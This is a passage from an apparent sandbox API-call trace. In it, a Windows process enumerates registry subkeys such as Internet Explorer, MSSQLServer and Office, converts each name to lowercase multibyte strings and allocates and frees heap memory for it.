(HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.879] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2d, lpName=0xf6b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0222.879] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0222.879] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0xf6c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0222.880] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.880] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.880] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.880] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.880] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2e, lpName=0xf6b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0222.880] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0222.880] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0xf6c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0222.880] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.880] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.880] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.880] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.880] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2f, lpName=0xf6b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0222.880] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0222.880] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0xf6c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0222.880] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.880] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.880] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.880] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.880] RegEnumKeyW (in: hKey=0x24, dwIndex=0x30, lpName=0xf6b930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0222.880] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0222.880] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0xf6c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0222.881] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.881] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.881] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.881] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.881] RegEnumKeyW (in: hKey=0x24, dwIndex=0x31, lpName=0xf6b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0222.881] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0222.881] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c0d8 [0222.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0xf6c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0222.881] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.881] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c0d8) returned 1 [0222.881] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0222.881] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6bbb8) returned 1 [0222.881] RegEnumKeyW (in: hKey=0x24, dwIndex=0x32, lpName=0xf6b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0222.881] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6bbb8 [0222.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0222.881] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0222.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0xf6c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0222.881] RegEnumKeyW (in: hKey=0x24, dwIndex=0x33, lpName=0xf6b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0222.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0222.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediacenterperipheral", cchWideChar=21, lpMultiByteStr=0xf6c0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediacenterperipheral", lpUsedDefaultChar=0x0) returned 21 [0222.882] RegEnumKeyW (in: hKey=0x24, dwIndex=0x34, lpName=0xf6b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0222.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0222.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0xf6c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0222.882] RegEnumKeyW (in: hKey=0x24, dwIndex=0x35, lpName=0xf6b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0222.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0222.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0xf6c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0222.882] RegEnumKeyW (in: hKey=0x24, dwIndex=0x36, lpName=0xf6b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0222.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0222.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0xf6c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0222.882] RegEnumKeyW (in: hKey=0x24, dwIndex=0x37, lpName=0xf6b930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0222.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0222.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0xf6c0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0222.882] RegEnumKeyW (in: hKey=0x24, dwIndex=0x38, lpName=0xf6b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0222.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0222.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0xf6c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0222.882] RegEnumKeyW (in: hKey=0x24, dwIndex=0x39, lpName=0xf6b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0222.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0222.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0xf6c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0222.883] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3a, lpName=0xf6b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0222.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0222.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0xf6c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0222.883] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3b, lpName=0xf6b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0222.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0222.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0xf6c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0222.883] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3c, lpName=0xf6b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0222.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0222.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0xf6c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0222.883] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3d, lpName=0xf6b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0222.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0222.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0xf6c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0222.883] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3e, lpName=0xf6b930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0222.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0222.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0xf6c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0222.883] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3f, lpName=0xf6b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0222.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0222.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0xf6c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0222.884] RegEnumKeyW (in: hKey=0x24, dwIndex=0x40, lpName=0xf6b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0222.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0222.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0xf6c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0222.884] RegEnumKeyW (in: hKey=0x24, dwIndex=0x41, lpName=0xf6b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0222.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0222.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0xf6c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0222.884] RegEnumKeyW (in: hKey=0x24, dwIndex=0x42, lpName=0xf6b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0222.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0222.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0xf6c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0222.884] RegEnumKeyW (in: hKey=0x24, dwIndex=0x43, lpName=0xf6b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0222.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0222.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0xf6c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0222.884] RegEnumKeyW (in: hKey=0x24, dwIndex=0x44, lpName=0xf6b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0222.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0222.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0xf6c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0222.885] RegEnumKeyW (in: hKey=0x24, dwIndex=0x45, lpName=0xf6b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0222.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0222.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0xf6c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0222.885] RegEnumKeyW (in: hKey=0x24, dwIndex=0x46, lpName=0xf6b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0222.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0222.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0xf6c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0222.885] RegEnumKeyW (in: hKey=0x24, dwIndex=0x47, lpName=0xf6b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0222.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0222.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0xf6c0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0222.885] RegEnumKeyW (in: hKey=0x24, dwIndex=0x48, lpName=0xf6b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0222.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0222.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0xf6c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0222.885] RegEnumKeyW (in: hKey=0x24, dwIndex=0x49, lpName=0xf6b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0222.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0222.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0xf6c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0222.885] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4a, lpName=0xf6b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0222.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0222.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0xf6c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0222.886] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4b, lpName=0xf6b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0222.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0222.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0xf6c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0222.886] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4c, lpName=0xf6b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0222.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0222.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0xf6c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0222.886] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4d, lpName=0xf6b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0222.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0222.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0xf6c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0222.886] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4e, lpName=0xf6b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0222.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0222.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0xf6c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0222.886] 